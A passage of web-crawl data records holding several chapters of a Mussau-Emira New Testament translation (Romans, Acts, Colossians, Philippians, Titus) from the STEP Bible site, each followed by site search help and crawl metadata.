mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.15","date":"2018-10-19T22:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512460.41\/warc\/CC-MAIN-20181019212313-20181019233813-00357.warc.gz","language":"mmx","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999992847442627}","num_words":1273,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 2\nMoroa Naba Ven Mumu Loklok At Limixin Axap1 Nemi limixin, ixo epovo do mina viila mumu loklok at leventaba vetpes mila nemi mixo sepsu ap mo leveloklok kakapmek kerekngan nedi di lox i. Dola mi ila mumu loklok atnedi, la do mi lok bok nom levempanga di lox i, mi lok li xa lumumuat atnimi. 2 Nema maklen i do ne Moroa ik mokso dola ni i ila mumu loklok at limixin di lok na leventaangas kapmek. 3 Ketla nemi bok mi lok nom levempanga, no nemi mi viila mumu di min. Kereva, mi doma i do nemi limixin gamasa mun minaba sepsu at loklox asongot at ne Moroa? 4 Kopla mi doma abalalak mene nom langsangan labalamu ren, mi loklok mulus teren la kopmen ni noxo ila mumu soso loklok atnimi. Tuturun miklen i do ne Moroa i lox avukat, atla ni i vara i do mina ven kisiv i nom la mina leeng.\n5 Ketla levendoxoma atnemi i rebonot la mi xopara na leeng; kuren la mi lox asilok nom loklox asongot tinemi ap mo laaleng ne Moroa naba ila mumu loklok at limixin la na lox asu lebelemamao ren ti lasaxaven.\n6 \"Moroa naba raba unun ti legetgesara mumu xa levempanga ni ga lox i.\" a\n7 Leventaba at limixin dik lox amisik leveloklok i nunuan, kerepmo di puse ri lisisixam mi loklok ngangao la lorooro nunuan; ne Moroa naba raba di mi lorooro avolo. 8 Ketla leventaba atnemi limixin di doxoma mene di, la di sok tixirixes levelinga ruturun at ne Moroa, di vavara i do dina mumu asu levempanga i lok kapmek; nedi na dinaba ekip tangarang mi lebelemamao la lumukmusak at ne Moroa. 9 Limixin dinaba ruuna ka loklox asongot mi levenmumuat atla dik lok levempanga xopmen na lok nunuan, leme Judaia avot la melemu rinedi limixin kopmen di me Judaia. 10 Ketla ne Moroa naba raba lisisixam mi laasen silok, la limila rinedi axap di lok levempanga nunuan, ti leme Judaia avot la melemu rinedi bok limixin kopmen di me Judaia. 11 Moroa i viila mumu loklok at limixin mi legesampoovo mene.\n12 Limixin kopmen me Judaia dixo ruuna Lenavolo at ne Moses, dik lok laxakapmek la diba seeve. Limixin me Judaia di ruuna na Lenavolo, di lok laxakapmek la ne Moroa ba ila mumu loklok atnedi atla dixo mu asu Lenavolo. 13 Kopmen dina so asen limixin do dik mokso atla ding tonga mun Lenavolo, ketla nedi di mumu asu levelinga at Lenavolo dik mokso at lemeren ne Moroa. 14 Limixin kopmen me Judaia, dixo ruuna Lenavolo, ketla levendoxoma nunuan atdi i lok di xusu dina mu asu leventaangas teren, keke i do dixoklen i. Kuren la i lok ngan ta do di ruuna Lenavolo keneng at lebelen di. 15 Loklok atnedi i lox asuusu i do levempanga Lenavolo i paase min, Moroa ga malagan i keneng at lebelen di. Levendoxoma nunuan atdi i lox asuusu box i dola na i ruturun, mila at leventaba levenaleng levendoxoma atnedi i lox akmokso di, la at lentaba levenaleng i su auru loklok atdi. 16 Lagale Lavavang nia a vavang min, i tong asu i do ne Moroa naba ila mumu loklok at limixin at laaleng ete la keneng at ne Iesu Karisito neni naba ila mumu bok levendoxoma alipe xapmek at limixin.\nLimixin Me Judaia La Lenavolo17 La kereva nimi? Mi tong i do nemi luvuttadi me Judaia la mi nuunu at Lenavolo, la mit las nimi do mit kis esogo mi ne Moroa; 18 la miklen bok levempanga ne Moroa i vara i xusu minak lox i, la mira lok ka vam lakleklen keneng at Lenavolo xusu mina ila xaka levempanga ik mokso; 19 la mi tong lolos i do mim lam limixin kopmen dinaklen ne Moroa ngan lengkatli main, la nemi laxasep tinedi di nemen at lamain bonot, 20 la mi tong i do nemi luvuttadi loklox ase rinedi limixin loklok atdi i bilinga, la nemi luvuttadi loklox ase rinedi limixin kopmen takleklen atdi, mila keneng at Lenavolo mi ruuna levelinga axap i ruturun. 21 Mi lox ase leventaba vetpes kuren, la tila ba xopmen mina lox ase xa nimi? Mi vavang keretna, \"Nemen mitap kip pilo.\" Ketla nemi xa luvuttadi xipkip pilo. 22 Mi tong i xeretna, \"Nemen mita velongka.\" Ketla nemi luvuttadi longlongka. Mi paase vupu ri laxampoovo moroa, ketla nemi mip kip pilo ro xeneng at laraugu lotu at laxampoovo moroa. 23 Mit las nimi mi Lenavolo at ne Moroa, ketla mik lox amangan ne Moroa atla mixo mu asu Lenavolo ren. 24 Lovoang Kaala i tong i xeretna,\n\"Limixin kopmen me Judaia di vaase xapmek ti laasen at ne Moroa mumu loklok atnemi leme Judaia.\" b\n25 Loklok ti rivit kepe lengkontuxu naba lok tooro mun taradi mo do i mumu asu Lenavolo; ketla do laradi na los polo Lenavolo, ni naba lok ngan mun mo laradi xopmen di goxo vit kepe loxontuxu ren. 26 Dola laradi xopmen me Judaia la kopmen di goxo vit kepe loxontuxu ren, ketla i mumu asu levelinga at Lenavolo, Moroa ba ven i ngan laradi diga vit kepe loxontuxu ren. 27 Nedi limixin kopmen me Judaia di mu asu Lenavolo, keke i do kopmen dina vit kepe levengkontuxu atnedi, dinaba sok taba nemi leme Judaia at laaleng ete, atla mixo mu asu levelinga at Lenavolo, keke i do ne Moroa ga raba nemi min, la miga vit kepe bok levengkontuxu atnemi.\n28 Nege rinotno ni laradi me Judaia? Kopmen nom laradi i ruuna mene laasen do laradi me Judaia, la livirivit katling at labantuxu ren na lok ngan lavanga gamasa mene. 29 Ketla laradi ruturun me Judaia ni i ruuna lorooro maxat keneng teren, la diga vit katling loroonan teren, la nai ni lugugu at Loroonan Kaala at ne Moroa, kopmen at Lenavolo diga malagan i. Laradi xerepmo i lok kaka leemi asu ren boro at ne Moroa, la kopmen at limixin.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.2","date":"2018-10-16T20:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510867.6\/warc\/CC-MAIN-20181016201314-20181016222814-00417.warc.gz","language":"mmx","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999991774559021}","num_words":1117,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 3\nPita Mi Ne Jon Duga Lox Aroo Laradi1 At lara laaleng Pita mi ne Jon dugat pas uto vana at loogu laplavang kusu duna lok lising at lavantun konaleng ukantinao, i ngan leme Judaia digak lox amisix i. 2 At lara langas povolo, laasen teren do Lumusaragu Maraanu, lara laradi mo gat kis, luxangkedek teren ga molo axap; nenen ga visik axa i xuren. At levenaleng axap limixin digap kip kaka i uto ap mo langas povolo xusu na ngising panga rin ap mo limixin digat pas uto at loogu laplavang. 3 Ni ga ven ne Pita mi ne Jon duga beles to ap mo loogu, la ni ga sing du xusu duna raba i mi tempanga. 4 Duga ru la duga ven tooro i la ne Pita ga lok tin, \"Una ven tinama'.\" 5 Mo laradi ga milik tidu, ga nua i do ni mo naba lok ka tempanga atdu.\n6 Ketla ne Pita ga lok tin, \"Nia xopmen tevempilas gamgames kopla leven gol tarak, ketla ana raba u mi lavanga nia a ruuna i; keneng at laasen at ne Iesu Karisito me Nasaret, a tong i ru do, una ru upana la una vas kaxat.\" 7 La ne Pita ga ranga axatu i mi lekngen tino la ga lok aurur i upana. Ap mo mene loxonaleng luxangkedek teren ga lolos ta. 8 Ni ga los kaxat mi luxangkedek teren la ga vas kaxat. La ni ga beles buru midu ukeneng at loogu laplavang gat pas la gat los momo la ga emi asu mi ne Moroa. 9 Mo limixin diga ven mo laradi gat pas la ga emi asu mi ne Moroa, 10 diga ven kibis i do ni laradi singising panga no gat kis to at Lumusaragu Maraanu at loogu laplavang, diga sangu aleng ap mo lavanga ga rupot saparav i.\nPita Ga Paase Ri Limixin11 Mo laradi move gam tebeng tu at ne Pita mi ne Jon la limixin axap mo diga rakdu aleng la diga sixit posiga nedi ro at loxot silok saparap loogu laplavang diga tong i do 'Loxot at ne Solomon'; 12 Pita ga ven mo limixin la ga lok tidi, \"Leme Israel; lai mo mi sangu ren mumu i na lavanga, la lai mo nemi mi tu la mia reven tooro nama min? Mi doxoma i do ma lox avukat na laradi mi lolos axa atnama xopla at loklok nunuan atnama xusu neni i lox epovo i rit pas? 13 Moroa at ne Abaram, Aisak, la ne Jakop, Moroa at lavalabat atdik, neni ga lox asilok laasen at ne Iesu, lasaxaruki ren. Nemi miga song araba limixin kapmek min kusu dina sev amer i; la miga sok tixirixes i ro melamgo at ne Paelat, ap mo loxonaleng ne Paelat ga lok do na soxomus asu i. 14 Neni laradi dadat la mokmokso; ketla nemi miga lok abulubun kepe i, la miga sing ne Paelat kusu na soxomus asu laradi sepsev amet tadi. 15 La nemi miga sev amet ne Iesu, neni lavasuun at lorooro avolo. Ketla ne Moroa ga lox arooro amlong i basinge lanmet, la nema na ma paase katling i mi mo lavanga mila nema maga ven i. 16 At lunuunu mun at laasen at ne Iesu la na laradi mi ven i la miklen i, ira lok ka lolos maxat keneng at luxangkedek teren. Lunuunu keneng at laasen at ne Iesu na, i lox aroo na laradi de melamgo atnimi axap.\n17 La na, luvutnetak mi luvurinuk, nia aklen i do nemi eburu mi luvuttadi amgomgo atnimi miga lox i ri ne Iesu; miga lox i mila mi goxo xasep at levelinga at ne Moroa. 18 Gano migomgo ne Moroa ga vaase asu levelinga at lavaeme vapaase alii ren do Lanarong teren naba xip losongsongot silok; la ne Iesu ga lox asorun mo levelinga. 19 Kuren la mina leeng basinge laxakapmek atnimi xusu ne Moroa naba doxoma xepe laxakapmek atnimi, 20 la kusu ne Moroa ba raba nimi mi lorooro nunuan basinge levenmumuat at nai lavatbung menemen kopok la kusu ni naba riki asi ne Iesu, neni Lanarong; Moroa gara soxolik ka vam i do rinimi. 21 Ni naba nemen to vana at laxalibet se at laaleng ne Moroa naba lox amaxat lempanga axap, kerekngan neni ga tong asu i mi levelinga at lavaeme vapaase alii ren me gano. 22 Kerepmo ne Moses ga lok,\n'Moroa, neni Leeme Silok atnimi naba sak tiki leeme vapaase alii naba vot kantubu atnimi lubungmixin me Judaia, i ngan ni ga sak tiki ia. Mina ronga levelinga axap neni naba tong i rinimi. 23 Do tara i xopara na ronga levelinga ren, neni naba nemen petpes basinge mo limixin ne Moroa ga soxolik ka vam nedi do ateren to at lorooro melemu; la ne Moroa naba sev amet nedi axap ding tonga xepe levelinga ren.\" a\n24 La ne Pita ga lok bok, \"Lavaeme vapaase alii ga vaxaru ka i at ne Samuel la nedi bok lentaba diga rupot melemu ren, nedi axap diga paase alii mumu lorooro at Leeme Silok. 25 Nemi mi ruuna laxakaape at ne Moroa keneng at lavaeme vapaase alii ren, la nemi mi nemen keneng at nom lekabus no ne Moroa ga lox i eburu mi lavalabat atnimi, kerekngan ni ga tong i ri ne Abaram keretna.\n'Keneng at livipisik li ram, nia anaba lox anarong limixin axap at lavatbung menemen.' b\n26 La kerepmo ne Moroa ga soxolik ka lasaxaruki ren la ga sak tiki i udo parap nemi avot kusu na lox anarong nimi xeretna; ni na lok nimi xusu mina ven kibis laxakapmek atnimi la mina leeng basinge laxakapmek atnimi.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.3","date":"2018-10-17T12:29:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511173.7\/warc\/CC-MAIN-20181017111301-20181017132801-00516.warc.gz","language":"mmx","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999948740005493}","num_words":1075,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 1\nLavapaase Axasep1 Nenia ne Pol, laradi vavang at ne Iesu Karisito, Moroa ga soxolik ka ia xuren, la ne Timoti bok, neton dik.\n2 Nema' ma malagan na lovoang tinemi limixin nuunu do Kolosi. Nemi limixin at ne Moroa la mi nuunu ruturun at ne Karisito.\nLetaba nabalamu la lenmila tinemi boro at ne Moroa ne Temen dik.\nLisingising Ti Tong Loklox Avukat3 At levesingising atnama' ma tong loklox avukat amisik ti ne Moroa, ne Temen Leeme Silok atdik ne Iesu Karisito, 4 mila maga ronga i do lunuunu atnimi saparap ne Iesu Karisito i tu tuxuruxun, la lorooro atnimi i umsu mi labalamu saparap limixin nuunu. 5 Na lunuunu la labalamu atnimi i nemen lolos at lorooro atnimi, mila mi ngangais mi lomomo ri mo leveloklox anarong i nemen tangais nimi ro vana at laxalibet; mo leveloklox anarong miga ronga vam i ap mo levenaleng diga vavang mi levelinga ruturun tinimi, mo levelinga ni Lagale Lavavang. 6 Na Lagale Lavavang i ruuna laxampipisik solo la i sat kaka limixin at na lavatbung menemen axap kusu dina nuunu at ne Iesu Karisito la dina lok leveloklok i nunuan. La kerepmo bok Lagale Lavavang i pisik kantubu atnimi, ga ru ka i ap mo laaleng miga ronga i la miga ven kibis letaba nabalamu at ne Moroa, mo letaba nabalamu i ruturun tinotno. 7 Epapras ga anasa nimi mi nom letaba nabalamu; neni lagale laradi i gugu eburu minema' la ni laradi ruturun i lok lugugu at ne Karisito ti lok tooro nimi. 8 Neni ga tong i rinama' do lorooro atnimi i umsu mi labalamu, Loroonan Kaala ga suxa aumsu nimi min.\n9 Maga ronga i nom, kuren la kopmen mana xap mi lisingising tinimi. Ma sing ne Moroa, kusu na suxa aumsu nimi mi lakleklen at lavavara ren, la kerepmo miba ruuna ka lodoxoma avukat keneng at lorooro atnimi, mo lodoxoma i ravasu boro at Loroonan Kaala. 10 Ma lok levesingising keretnom kusu lorooro atnimi ba epovo mi lavavara at Leeme Silok la kusu mina lok lempanga naba lox amomo i. Nom lempanga i lok keretna, lorooro atnimi naba pisik asu leveloklok nunuan solo, la nemi minaba lok kaka lakleklen at ne Moroa, 11 la miba ruuna ka lololos, mo i laa boro vana at lololos silok at ne Moroa kusu miba tu tuxuruxun at lunuunu atnimi la mi noxo subu kot kantubu; la miba umsu mi lomomo, 12 la miba tong loklox avukat ti ne Temen dik, ni ga lok nimi xusu miba epovo rinotno ri ruuna ka loxot atnimi ap mo luunun ni ga lox agagas li vam i ri limixin teren to xeneng at Linintoo i umsu mi laxasep. 13 Neni naba raba nimi mi nom, mila ni ga lox arooro dik basinge lamain lolos at ne Satan, la neni ga lox arooro dik kusu tana vubeles at Linintoo at ne Nitna, mo ne Moroa i balamu i. 14 Keneng at ne Iesu, Moroa ga un ka amlong dik, la ni ga doxoma xape bok leveloklok kakapmek atdik.\nIesu Neni Lamgomgo15 Karisito neni lampoovo at ne Moroa nedik kopmen tana reven tu ren. Neni lanat meren avot, la i silok tinedi levempanga ne Moroa ga rudum li di. 16 Moroa ga rudum li levempanga xeneng at lolos at lekngen ne Nitna; levempanga axap to vana at laxalibet la de xopok at lavatbung menemen, lempanga dik ta reven di la lempanga dik dixo epovo ta reven di. Ni ga rudum li bok leventoonan eburu mi lubungangelo, la luvuttadi amgomgo atdi la limixin lolos kerepmo dik lok to vana. Moroa ga rudum li nom lempanga axap keneng at lololos at lekngen ne Nitna kusu dina lox aurut laasen at ne Nitna. 17 Karisito ga rooro avot ti nom lempanga axap, la neni lusu auru atdi. 18 Neni lamgomgo at lotu ren kerekngan lavatlak at laradi, ni lamgomgo at labantuxu ren. Neni lavasuun at lorooro maxat, la neni lara avot ga roo xat amlong basinge lanmet. Ni ga lox i xuren kusu neni xusuk naba ruuna ka lixitkis silok ti levempanga axap. 19 At lodoxoma axa at ne Moroa do ne Nitna, naba venaxa ka ren, 20 la at lodoxoma bok at ne Moroa do, ne Nitna naba lok lumulum kantubu at ne Moroa la limixin axap, nedi limixin mede xopok at na lavatbung menemen la nedi limixin to vana at laxalibet. Karisito ga lok lumulum mi lada ren, mo ga sen su ro vana at laxaba.\n21 Gano migomgo miga nemen paxalom basinge ne Moroa, leveloklok atnimi la lodoxoma atnimi ga lok kapmek la kerepmo migak lok ngan limixin munepen teren. 22 Ketla mo nga, Moroa ga lok lumulum tinimi mumu mun lanmet at labantuxu at lamdak teren, kusu lorooro atnimi ba dadat axap ap mo laaleng miba tu saxaven to melamgo ren, la taxakapmek noxok lok bok ba atnimi la tara noxo lok li bok ba nimi at lavapaase mumu loklok kakapmek. 23 Naba lok kuren mo do mina tu tuxuruxun at lunuunu atnimi la kopmen tara na sat kaka nimi basinge lunuunu atnimi saparap Lagale Lavavang. At nom mun Lagale Lavavang la nia ne Pol a tong asu i ngan lasaxaruki at ne Moroa, la na Lagale Lavavang mo di vavang min ti limixin axap at na lavatbung menemen, ni levelinga nemi miga ronga i.\nLugugu At Ne Pol At Lotu24 La na nga nia a lok momo mumu levesongsongot tarak nia ap kiv i ti lok tooro nimi; la kerepmo a lox epovo levesongsongot no ne Moroa ga lok katling i ria kusu na lok tooro limixin at lotu min, mo i lok ngan labantuxu at ne Karisito. 25 La aga lok ka na lugugu ngan lasaxaruki ti limixin at lotu; la ne Moroa axa ga soxolik ka ia rin kusu ana paase asu levelinga at ne Moroa rinimi, la a noxo ke xepe toxot teren. 26 Moroa ga lox alipe mo levelinga basinge lavaola axap diga nemen gano, ketla melemu ga lox asuvos i ri limixin teren. 27 Moroa ga soxovo li i do na lox asuvos Lagale Lavavang ti limixin teren; mo levelinga i lok ngan lapnovos silok la i lox asuusu lisisixam at ne Moroa. Mo levelinga i lok keretna, Karisito nabat kis esogo eburu mi limixin kopmen di me Judaia la nedi bok diba ruuna ka loxot at lisisixam teren.\n28 Nema ma vavang mi ne Karisito ri limixin; ma vaase aronga di la ma anasa di mi lakleklen at ne Moroa kusu nedi axap diba ruuna ka luruptuvuk mokmokso kerekngan ne Karisito la kopmen taxakapmek atdi. La diba nemen kuren se ap mo laaleng diba tu ro melamgo at ne Moroa. 29 Ti lox empana na lugugu, nenia a gugu lolos, mi nom lololos ne Karisito i vetaba min tia la i gugu keneng tarak.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Col.1","date":"2018-10-16T01:39:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509960.34\/warc\/CC-MAIN-20181016010149-20181016031649-00480.warc.gz","language":"mmx","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000039339065552}","num_words":1264,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 3\nLaradi Mokmokso Ruturun1 Luvutnetak mi luvurinuk. Ti lox axap levelinga rak; mina momo at Leeme Silok. I lox avukat mene do nia ana sox amu bok mo levelinga nia aga malagan pam min tinimi, mo ba lok tooro nimi xusu mi noxo subu.\n2 Mina lok tatao avukat nimi atnedi di lok leveloklok kakapmek; di pu soso limixin kusu dina vit kepe levengkontuxu atnedi. Loklok atnedi i lok ngan lubungman. 3 Nedik na digara ruuna ka vam loklok katling tuturun at ne Moroa la nedik di lotu saparap ne Moroa keneng at Loroonan Kaala la nedik di momo xeneng at lixitkis atdik eburu mi ne Iesu Karisito. Nedik kopmen tana nuunu do mo loklok ti rivit kepe lengkontuxu la leveloklok kerepmo at leme Judaia ba lok tooro dik. 4 Nenia xa a ruuna lempasuun kusu ri nuunu ap mo leveloklok at leme Judaia. Dola tara na doxoma i dola neni i epovo xusu na mu asu mo leveloklok, nenia a epovo rinotno. Lempasuun i lok keretna. 5 Diga vit kepe loxontuxu rak melemu at lavanuti aleng ne naga ga visix ia; nenia lanat me Israel at libibinat at ne Beniamin, la nia laradi ruturun me Ibru. Nenia ga lok ngan la Parisi, la aga mumu asu Lenavolo me Judaia i ngan la Parisi. 6 Ganoxa nenia agak lox asongot limixin at lotu, atla nia aga lok do mo loklok nia agak lox i naba lox amomo ne Moroa la mo ga lox asuusu i do lusumsuma rak ti ne Moroa ga lolos. Nenia aga doma i do laradi nabak mokso mun at lemeren ne Moroa, do neni na mu asu rinotno Lenavolo, kuren la agoxo subu at toxot teren.\n7 Nia aga nua i do na levempanga ba lok tooro ia ro melamgo at ne Moroa, ketla xopmen; ara ke xepe vam i na la agalok kun i mi ne Karisito. 8 Kopmen mo levempanga xusuk mun, ketla levempanga axap at lorooro rak i ngan lavanga gamasa la lorooro rak keneng at ne Iesu Karisito, Leeme Silok tarak, ni lavanga i silok aleng tinotno. La mo leveloklok at leme Judaia ara lu xape axap pam min kusu ana mumu asu mene ne Karisito. A doxoma i do mo leveloklok i ngan lavanga kakapmek mun la aga lok kepe i xusu ana ruuna ka ne Karisito, 9 la anat kis esogo min. Nenia a goxo lok ka lomokmokso at lemeren ne Moroa mumu i do agang tonga res at Lenavolo. Kopmen. Nenia na a nemen mokmokso at lemeren ne Moroa mumu lunuunu rak keneng at ne Karisito. La ne Moroa axa ga lok li ia xusu ana sepmus basinge loklok kakapmek. 10 A vara i xusu anaklen ne Karisito la ana lok kaka lololos i ngan mo lololos at laxakatu kaxat amlong teren basinge lanmet, la a vara i do ana vubeles at losongsongot teren kusu anap kiv i la ana lok kepe lorooro xapmek, i ngan ta do ana met basinge i kerekngan ne Karisito ga met basinge na lorooro. 11 La nia am doma voovo do anaba roo xat bok basinge lanmet la ana rooro.\nLisiksixit Uto At Laxavaxap At Lorooro12 Nenia axo doma i do ara rebeng ka vam mo lorooro la ara ravasu ngan laradi xopmen taxapmek teren. Nenia move a lolos kusu ana rebeng atmatkun ka mo loklok i nunuan, mila ne Iesu Karisito ga un ka ia do tin. 13 Luvutnetak mi luvurinuk, nia a doxoma ruturun i do nia xovisi ana lox epovo i; ketla legesa vanga mun, a lox i. Nia a doxoma xape mo levempanga ga vot saparav ia gano la nia a lolos kusu ana rebeng kaka mo levempanga ne Karisito i gagas li i ria, mo naba vot melemu. 14 Kuren la ak sixit mokmokso ri ruuna ka mo levempanga, mo ne Moroa ga ro ka ia rin keneng at ne Iesu Karisito ri lorooro no vana.\n15 Tinedik axap dira mukun pam, lodoxoma atdik naba lok kuren. Ketla do leventaba di ruuna lodoxoma vetpes, Moroa ba lox axasev i ridi. 16 Ketla lavatpas atdik at na lorooro naba epovo mi lorooro maxat miga lok ka vam i.\n17 Luvutnetak mi luvurinuk. Nemi axap mina mumu asu lampoovo rak, la mina ven mumu nedi di mumu asu mo levelinga nema maga lox ase nimi min. 18 Agara tong amisik pam i rinemi ganoxa, la na ana tong amu box i mi lainbulu silok, do buaang atnedi diga sok tixirixes kepe levelinga at lanmet at ne Karisito ro vana at laxaba ngan nedi lavamunepen min. 19 Nedi dinabat pas uto at lemenemen songsongot, dim doma mun levempanga anan la lavavara mun at labantuxu. Di momo mun ti levempanga i raba di mi lainmangan silok, la dim doma mun levempanga at na lavatbung menemen. 20 Ketla nedik lavaanat boro vana at laxalibet, la di ngangais mi lomomo ti Laradi Loklox Arooro, Leeme Silok ne Iesu Karisito, naba si boro vana at laxalibet. 21 Neni naba lox asuusu lololos silok teren kusu levempanga axap naba mu asu mun lavavara ren la neni naba lox ekun labantuxu gamasa atnedik kusu naba lok ngan labantuxu ren imgames la i lolos.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Phili.3","date":"2018-10-16T01:08:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509960.34\/warc\/CC-MAIN-20181016010149-20181016031649-00480.warc.gz","language":"mmx","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999852180480957}","num_words":1000,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.249,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Titus 3\nLuruptuvuk At Limixin Nuunu1 La ne Taitas, una tong box i ri nom limixin nuunu do dina doxoma mumu lixitkis atdi maxopok at lagavaman mi lavaeme silok; la dinang tonga res at levelinga atdi la dina gagas kusu dina lok leven gugu nunuan; 2 la di noxo paase xapmek mumu tara; ketla limila na nemen at lebelen di; dina balamu limixin; la dina lok ngangao ruturun at limixin axap, limixin nuunu la limixin bok maxamang at lotu.\n3 Gano nedik limixin ta goxoklen lorooro avukat, ta goxo ronga res at levelinga at ne Moroa la levelinga bok at lavaeme silok. Satan ga xarang dik la tagara puse ri levempanga at na lavatbung menemen; la taga mumu mene nga lavavara atnedik. Lorooro atdik ga umsu mi laxakapmek mi levereven peves at lempanga at limixin petpes; la limixin diga musak dik la ta goxo epen avukat.\n4 Ketla loklok nunuan la labalamu at ne Moroa, Laradi Loklox Arooro atdik ga rupot, 5 la neni ga lox arooro dik. Neni goxo lox arooro dik mumu leven gugu nunuan atdik; ketla neni ga balamu gamasa mun dik. Lebelemumu ren ni lavasuun at loklox arooro ren. Moroa ga lox arooro dik keretna; Loroonan Kaala ren ga gos kepe vam leveloklok kakapmek atdik la ga raba dik mi livipisik amaxat. 6 Moroa ga sak tiki Loroonan Kaala ren saparap dik kusu na lok tooro dik; i epovo xuren, mila ne Iesu Karisito, Laradi Loklox Arooro atdik, ga uu nop loklok 